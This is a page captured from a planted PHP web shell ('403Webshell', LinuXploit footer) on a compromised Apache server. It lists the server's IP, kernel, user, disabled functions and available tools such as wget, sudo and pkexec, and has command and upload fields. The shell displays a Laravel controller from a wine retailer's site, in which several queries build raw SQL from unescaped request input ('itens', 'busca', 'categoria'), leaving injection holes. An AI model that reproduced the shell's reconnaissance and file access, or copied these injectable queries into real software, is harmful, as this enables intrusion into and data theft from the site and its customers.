403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Website/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Website/HomeController.php
<?php

namespace App\Http\Controllers\Website;

use App\Http\Requests;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use App\Http\Controllers\BaseController;
use App\Modules\Canal\Models\Canal;
use App\Modules\Noticia\Models\Noticia;
use App\Modules\BannerFooter\Models\BannerFooter;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\Tema\Models\Tema;
use App\Modules\Produto\Models\Produto;
use App\Modules\TipoDeProduto\Models\TipoDeProduto;
use App\Modules\OrdemCompra\Models\OrdemCompra;
use App\Modules\Newsletter\Models\Newsletter;
use App\Modules\PerguntasFrequentes\Models\PerguntasFrequentes;
use App\Modules\NoticiaCategoria\Models\NoticiaCategoria;
use App\Modules\CadastroConsumo\Models\CadastroConsumo;
use App\Modules\CadastroConsumoPais\Models\CadastroConsumoPais;
use App\Modules\Confraria\Services\ConfrariaService;
use App\BasicInfo;
use App\Services\GeralService;
use App\Services\CartService;
use App\Services\OfertaService;
use DB;

class HomeController extends BaseController
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */
    public function index(Request $request)
    {

        $data          = array();
        $dataAtual     = date('Y-m-d H:i');
        $clienteLogado = GeralService::buscarClienteLogado();

        $data['listaCanais']   = GeralService::buscarListaCanais(TRUE);

        $data['ofertasRelacionadas'] = GeralService::buscarOfertasRelacionadas([
            'limit'         => 4,
            'oferta_semana' => false,
            'random'        => false
        ]);

        $data['listaNoticias'] = Noticia::orderBy('nome')->limit(2)->get();
        $data['bannerFooter'] = BannerFooter::first();
        $data['oferta'] = GeralService::buscarOfertaDia();
        $data['tema'] = [];

        if(isset($data['oferta'])){
         $data['tema'] = Tema::where('id', $data['oferta']['tema_id'])->first();
        }

        $data['valido_adega_virada'] = GeralService::validarOfertaAdegaVirada($data['oferta']);


        $data['htmlPassouAqui'] = (GeralService::buscarPassouAqui())->getData()->html;
        //$data['htmlCart'] = CartService::buscarHtmlCart();

        $data['cadastroSuccess'] = ($request->input('cadastro') == 'success') ? true : false;

        $data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

        $data['htmlMailchimpCadastro'] = ($clienteLogado ? false : GeralService::buscarHtmlMailchimpCadastro());

        $data['clienteLogado'] = $clienteLogado;
        $data['confraria'] = ConfrariaService::buscarConfrariaUsuarioLogado();

        $data['cupomIndicacao'] = CartService::buscarCupomIndicacao();
        $data['cupomPrimeiraCompra'] = CartService::buscarCupomPrimeiraCompra();

        $data['dadosAdega']       = GeralService::buscarFreteAdegaAberta();
        $data['oferta_semana']    = GeralService::buscarOfertaDaSemana();
        $data['oferta_solidaria'] = GeralService::buscarOfertaSolidaria();
        $data['oferta_relampago'] = GeralService::buscarOfertaCanalRelampago();
        $data['oferta_confraria'] = GeralService::buscarOfertaConfraria();

        $data['valido_adega_virada_semana'] = GeralService::validarOfertaAdegaVirada($data['oferta_semana']);

        $dataOfertaKit = GeralService::retornaData(date('m'), date('Y'));
        $data['oferta_kit_confraria'] = GeralService::buscarOfertaConfraria($dataOfertaKit);

        $data['meusVinhos']              = GeralService::buscarMeusVinhos(['somar' => true]);
        $data['meusVinhosPendentes']     = GeralService::buscarMeusVinhosPendentes();
        $data['resumoEntregas']          = GeralService::resumoEntregas();
        $data['informacoesBasicasAdega'] = GeralService::buscarInformacoesBasicasAdegaAberta();

        $data['vinumwear'] = GeralService::buscarVinumWear($request);

        //RESUMO ENTREGAS PEDIDOS
        $resumoEntregasPedidos = GeralService::buscarMinhasEntregas('resumo');
        $entregas              = [];
        foreach ($resumoEntregasPedidos as $entrega) {
            if($entrega->quantidade_produtos == 1){
                $vinhosEntrega    = GeralService::buscarProdutosAdega(['id_adega' => $entrega->id_adega]);
                $entrega->produto = $vinhosEntrega[0];
            }
            $entregas[] = $entrega;
        }

        $data['resumoEntregasPedidos'] = $entregas;

        //PEDIDOS PENDENTES
        $pedidosPendentes = GeralService::buscarMeusVinhosPendentes();
        $pedidos          = [];
        foreach ($pedidosPendentes as $pedido) {
            if(count($pedido->produtos) == 1){
                $pedido->produto = $pedido->produtos[0];
            }
            $pedidos[] = $pedido;
        }

        $data['resumoPedidosPendentes'] = $pedidos;

        if(isset($data['oferta'])){
            $data['ocultarDesconto'] = $data['oferta']->ocultar_desconto;
        }

        return view('site/home', $data);
    }

    public function saveAniversarioVinumDay(Request $request){
        $post = $request->input();
        if(isset($post['itens'])){
            foreach ($post['itens'] as $item) {
                $sql = "UPDATE cadastro_consumo_log SET downloads = downloads + 1 WHERE story = {$item}";
                DB::update($sql);
            }
        }
        return response()->json(['status' => true]);
    }

    public function manutencao(){
        return view('site/manutencao');
    }

    public function checkManutencao(){
        return response()->json(['status' => true]);
    }

    public function preparandoOfertas($slug){
        $data          = [];
        $data['canal'] = Canal::where('slug', $slug)->first();
        return view('site/preparando-ofertas', $data);
    }

    public function checkOfertasCanal(Request $request){

        $post  = $request->input();
        $check = GeralService::checkCanal($post['slug'], $post);
        $url   = false;

        if($check->status){
            $canal = $check->canal;
            $url   = url('/' . GeralService::tipoCanal($canal->tipo) . '/' . $canal->slug);
        }

        return response()->json(['status' => $check->status, 'url' => $url]);

    }

    public function aniversarioVinumDay(){
        
        $exibeRetrospectiva = GeralService::exibeRetrospectiva();
        if(!$exibeRetrospectiva){
            return redirect('/');
        }

        $clienteLogado   = GeralService::buscarClienteLogado();
        if(!$clienteLogado){
            return redirect('/login?redirect=aniversario-vinumday');
        }
        $CadastroConsumo = CadastroConsumo::where('cadastro_id', $clienteLogado->id)->first();

        if($CadastroConsumo->graos_de_uva > 1000){
            $graos = $CadastroConsumo->graos_de_uva / 1000;
        }else{
            $graos = $CadastroConsumo->graos_de_uva;
        }

        $Consumo = new \stdClass;
        $Consumo->nome = trim($clienteLogado->nome);
        $Consumo->data_cadastro     = date('d', strtotime($CadastroConsumo->data_cadastro)) . ' de ' . mes_por_extenso(date('m', strtotime($CadastroConsumo->data_cadastro))) . ' de ' . date('Y', strtotime($CadastroConsumo->data_cadastro));
        $Consumo->qtde_vinhos       = number_format($CadastroConsumo->qtde_vinhos, 0, '', '.');
        $Consumo->graos_de_uva      = $CadastroConsumo->graos_de_uva;
        $Consumo->graos_uva         = number_format($graos, 0, '.', ',');
        $Consumo->km_percorrido     = number_format($CadastroConsumo->km_percorrido, 0, '', '.');
        $Consumo->valor_economizado = number_format($CadastroConsumo->valor_economizado, 0, '', '.');

        //PRIMEIRO PRODUTO
        if($CadastroConsumo->oferta){
            $Consumo->primeiro_vinho    = (object)[
                'titulo'    => $CadastroConsumo->oferta->titulo, 
                'subtitulo' => $CadastroConsumo->oferta->sub_titulo, 
                'imagem'    => !empty($CadastroConsumo->thumbnail_primeiro_vinho) ? url('/uploads/produto/birth/' . $CadastroConsumo->thumbnail_primeiro_vinho) : $CadastroConsumo->oferta->thumbnail_principal
            ];
        }else{
            $Consumo->primeiro_vinho    = (object)[
                'titulo'    => '', 
                'subtitulo' => '', 
                'imagem'    => ''
            ];
        }

        $Consumo->preferencia   = (object)[
            'tipo'            => $CadastroConsumo->produtoTipo->slug,
            'tipo_nome'       => 'Vinho ' . $CadastroConsumo->produtoTipo->nome, 
            'tipo_icone'      => url('/uploads/tipo-de-produto/' . $CadastroConsumo->produtoTipo->thumbnail_principal),
            'origem'          => $CadastroConsumo->pais->descricao_origem,
            'origem_nome'     => $CadastroConsumo->pais->nome,
            'origem_imagem'   => url('/uploads/pais/' . $CadastroConsumo->pais->thumbnail_principal),
            'origem_brinde'   => !empty($CadastroConsumo->pais->descricao_brinde) ? $CadastroConsumo->pais->descricao_brinde : 'Um Brinde!',
            'regiao'          => '',
            'percentual'      => number_format($CadastroConsumo->percentual_pais, 0, '', '')
        ];

        $ConsumoPaises = CadastroConsumoPais::where('cadastro_id', $clienteLogado->id)->orderBy('qtde_vinhos', 'DESC')->limit(5)->get();
        $total_vinhos  = 0;
        $km_percorrido = 0;
        $paises        = [];

        foreach ($ConsumoPaises as $consumoPais) {
            if($total_vinhos == 0){
                $total_vinhos = $consumoPais->qtde_vinhos;
            }
            $km_percorrido += $consumoPais->km_percorrido;
            $percentual = ($consumoPais->qtde_vinhos * 100) / $total_vinhos;
            $percentual = number_format($percentual, 0, '', '');
            $paises[]   = (object)['nome' => $consumoPais->pais->nome, 'bandeira' => url('/uploads/pais/' . $consumoPais->pais->thumbnail_principal), 'qtde_vinhos' => $consumoPais->qtde_vinhos, 'percentual' => $percentual];
        }

        $Consumo->paises        = $paises;
        $Consumo->km_percorrido = number_format($km_percorrido, 0, '', '.');

        $data['consumo'] = $Consumo;

        return view('site/aniversario-vinumday', $data);
    }

    public function aniversarioVinumDayTela($page){

        $exibeRetrospectiva = GeralService::exibeRetrospectiva();
        if(!$exibeRetrospectiva){
            return redirect('/');
        }

        if($page > 6){
            return response()->json(['status' => false, 'message' => 'Página não encontrada']);
        }
        return view('site/aniver-tela-'.$page);
    }

    public function passouAqui(Request $request){
        $post = $request->input();

        return GeralService::buscarPassouAqui($post['slug']);
    }

    public function aceitePrivacidade(){
        $clienteLogado = GeralService::buscarClienteLogado();
        $data_aceite   = date('Y-m-d H:i:s');
        $sql           = "UPDATE cadastro SET aceite_privacidade = 1, data_aceite_privacidade = '{$data_aceite}' WHERE id = {$clienteLogado->id}";
        Log::info($sql);
        DB::update($sql);
        return response()->json(['status' => true, 'message' => 'Aceite atualizado!']);
    }

    public function passouAquiCarousel(Request $request){
        $post = $request->input();

        return GeralService::buscarPassouAquiCarousel($post['id_produto'],$post['slug_tipo_produto']);
    }

    public function addOfertaDia(Request $request){
        $input = $request->input();

        $item = CartService::addOfertaDia($input);

        print_r($item);die();
    }

    public function cadastrarNewsletter(Request $request){
        $post = $request->input();
        if ((Newsletter::where('email',$post['email'])->count()) > 0) {
            return response()->json(array(
                'status' => false,
                'message' => 'Esse e-mail já está sendo usado.',
            ));
        }else{
            $newsletter = new Newsletter();
            $newsletter->nome = $post['nome'];
            $newsletter->email = $post['email'];
            $newsletter->date_create = date('Y-m-d');
            $newsletter->save();
            return response()->json(array(
                'status' => true,
                'message' => 'Newsletter cadastrada com sucesso.',
            ));
        }
    }

    public function erro(){

        $data = [];
        $data['error'] = ['message' => 'Site indisponível no momento'];

        return view('errors/500', $data);
    }

    public function perguntasFrequentes(){
        $data = array();
        $data['listaPerguntas'] = PerguntasFrequentes::all();

        return view('site/perguntas-frequentes', $data);
    }

    public function ordemCompraDetalhe($hashkey){

        $ordem = OrdemCompra::where('hashkey', $hashkey)->first();

        $updateAcessosOrdem = "UPDATE ordem_compra SET acessos = (acessos+1) WHERE id = {$ordem->id}";
        DB::update(DB::raw($updateAcessosOrdem));

        if($ordem->previsao_entrega == '0000-00-00'){
            $ordem->previsao_entrega = '';
        }

        $data               = [];
        $data['ordem']      = $ordem;
        $data['fornecedor'] = $ordem->fornecedor;

        return view('site/ordem-compra-detalhe', $data);

    }

    public function savePrevisaoEntrega($hashkey, Request $request){

        $ordem = OrdemCompra::where('hashkey', $hashkey)->first();
        $ordem->previsao_entrega = $request->input('previsao_entrega');
        $ordem->save();

        return response()->json(array(
            'status'           => true,
            'message'          => 'Previsão Entrega salva com sucesso!',
            'previsao_entrega' => date('d/m/Y', strtotime($ordem->previsao_entrega))
        ));
    }

    public function listaVinumteca(Request $request){

        $data  = [];
        $query = Noticia::where('publicado', 1)->where('visibilidade', 'publico');

        if($request->input('categoria')){
            $categoria_id = $request->input('categoria');
            $query->whereRaw("EXISTS (SELECT 1 FROM noticia_has_categoria nhc WHERE nhc.noticia_id = noticia.id AND nhc.noticia_categoria_id = {$categoria_id})");
        }

        if($request->input('busca')){
            $query->whereRaw("nome LIKE '%" . $request->input('busca') . "%'");
        }

        $data['listaNoticias'] = $query->orderBy('data_completa', 'DESC')->paginate(4);

        $html = view('site/_blog-lista', $data)->render();

        echo $html;
    }

    public function listaNoticias(){

        $data = [];

        $data['listaNoticias'] = Noticia::where('publicado', 1)->where('visibilidade', 'publico')->orderBy('data_completa', 'DESC')->paginate(4);
        $data['lastPage']      = $data['listaNoticias']->lastPage();

        $data['titulo_pagina'] = 'Vinumteca';

        $data['subtitulo_pagina'] = 'blog';

        $data['listaCategorias']         = NoticiaCategoria::select('slug', 'titulo')->where('destaque_menu', 0)->orderBy('titulo', 'ASC')->get();
        $data['listaCategoriasMenu']     = NoticiaCategoria::select('slug', 'titulo')->where('destaque_menu', 1)->orderBy('titulo', 'ASC')->get();
        $data['listaCategoriasDestaque'] = NoticiaCategoria::where('destaque_home', 1)->orderBy('titulo', 'ASC')->get();

        //Post Destaque
        $data['noticiaDestaque'] = Noticia::where('destaque', 1)->where('publicado', 1)->where('visibilidade', 'publico')->orderBy('data', 'DESC')->first();

        $data['oferta_dia'] = GeralService::buscarOfertaDia();

        return view('site/blog-lista-vinumteca', $data);

    }

    public function listaNoticiasBusca(Request $request){

        $data = [];

        $data = $request->input();

        $query = Noticia::where('publicado', 1)->where('visibilidade', 'publico');

        if($request->input('busca')){
            $query->whereRaw("nome LIKE '%" . $request->input('busca') . "%'");
        }

        $data['listaNoticias'] = $query->orderBy('data_completa', 'DESC')->paginate(4);
        $data['lastPage']      = $data['listaNoticias']->lastPage();

        $data['titulo_pagina'] = 'Vinumteca';

        $data['subtitulo_pagina'] = 'blog';

        $data['listaCategorias'] = NoticiaCategoria::select('slug', 'titulo')->where('destaque_menu', 0)->orderBy('titulo', 'ASC')->get();
        $data['listaCategoriasMenu'] = NoticiaCategoria::select('slug', 'titulo')->where('destaque_menu', 1)->orderBy('titulo', 'ASC')->get();
        $data['listaCategoriasDestaque'] = NoticiaCategoria::where('destaque_home', 1)->orderBy('titulo', 'ASC')->get();

        //Post Destaque
        $data['noticiaDestaque'] = Noticia::where('destaque', 1)->where('publicado', 1)->where('visibilidade', 'publico')->orderBy('data', 'DESC')->first();

        $data['oferta_dia'] = GeralService::buscarOfertaDia();

        return view('site/blog-busca-vinumteca', $data);

    }

    public function categoriaNoticia($slug){

        $data = [];

        $categoria = NoticiaCategoria::where('slug',$slug)->first();

        $data['categoriaPage'] = $categoria;

        $data['titulo_pagina'] = 'Vinumteca';

        $data['subtitulo_pagina'] = $categoria->titulo;
        $data['subtitulo_pagina'] = 'blog';

        $data['listaNoticias'] = Noticia::select('noticia.*')->join('noticia_has_categoria','noticia_has_categoria.noticia_id','=','noticia.id')->where('noticia_has_categoria.noticia_categoria_id', $categoria->id)->where('publicado', 1)->where('visibilidade', 'publico')->paginate(4);
        $data['lastPage']      = $data['listaNoticias']->lastPage();

        $data['oferta_dia'] = GeralService::buscarOfertaDia();

        $data['listaCategoriasMenu'] = NoticiaCategoria::select('slug', 'titulo')->where('destaque_menu', 1)->orderBy('titulo', 'ASC')->get();

        return view('site/blog-categoria-vinumteca', $data);
        
    }

    public function detalheNoticia($slug){

        $data = [];

        $data['titulo_pagina'] = 'Vinumteca';

        $data['listaCategoriasMenu'] = NoticiaCategoria::select('slug', 'titulo')->where('destaque_menu', 1)->orderBy('titulo', 'ASC')->get();

        $data['listaNoticias'] = Noticia::where('publicado', 1)->where('visibilidade', 'publico')->orderBy('data_completa', 'DESC')->paginate(3);

        $data['noticia'] = Noticia::where('slug',$slug)->where('publicado', 1)->where('visibilidade', 'publico')->first();

        if(!$data['noticia']){
            return redirect('/vinumteca');
        }

        if($data['noticia']){
            $data['subtitulo_pagina'] = 'blog';
        }else{
            $data['subtitulo_pagina'] = 'Notícia não encontrada';
        }

        $data['oferta_dia']    = GeralService::buscarOfertaDia();
        $data['oferta_semana'] = GeralService::buscarOfertaDaSemana();

        return view('site/blog-detalhe-vinumteca', $data);
    }

    public function previewNoticia($slug){

        $data = [];

        $data['titulo_pagina'] = 'Vinumteca';

        $data['listaCategoriasMenu'] = NoticiaCategoria::select('slug', 'titulo')->where('destaque_menu', 1)->orderBy('titulo', 'ASC')->get();

        $data['listaNoticias'] = Noticia::where('publicado', 1)->where('visibilidade', 'publico')->orderBy('data_completa', 'DESC')->paginate(3);

        $data['noticia'] = Noticia::where('slug',$slug)->first();

        if($data['noticia']){
            $data['subtitulo_pagina'] = 'blog';
        }else{
            $data['subtitulo_pagina'] = 'Notícia não encontrada';
        }

        $data['oferta_dia']    = GeralService::buscarOfertaDia();
        $data['oferta_semana'] = GeralService::buscarOfertaDaSemana();

        return view('site/blog-detalhe-vinumteca', $data);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit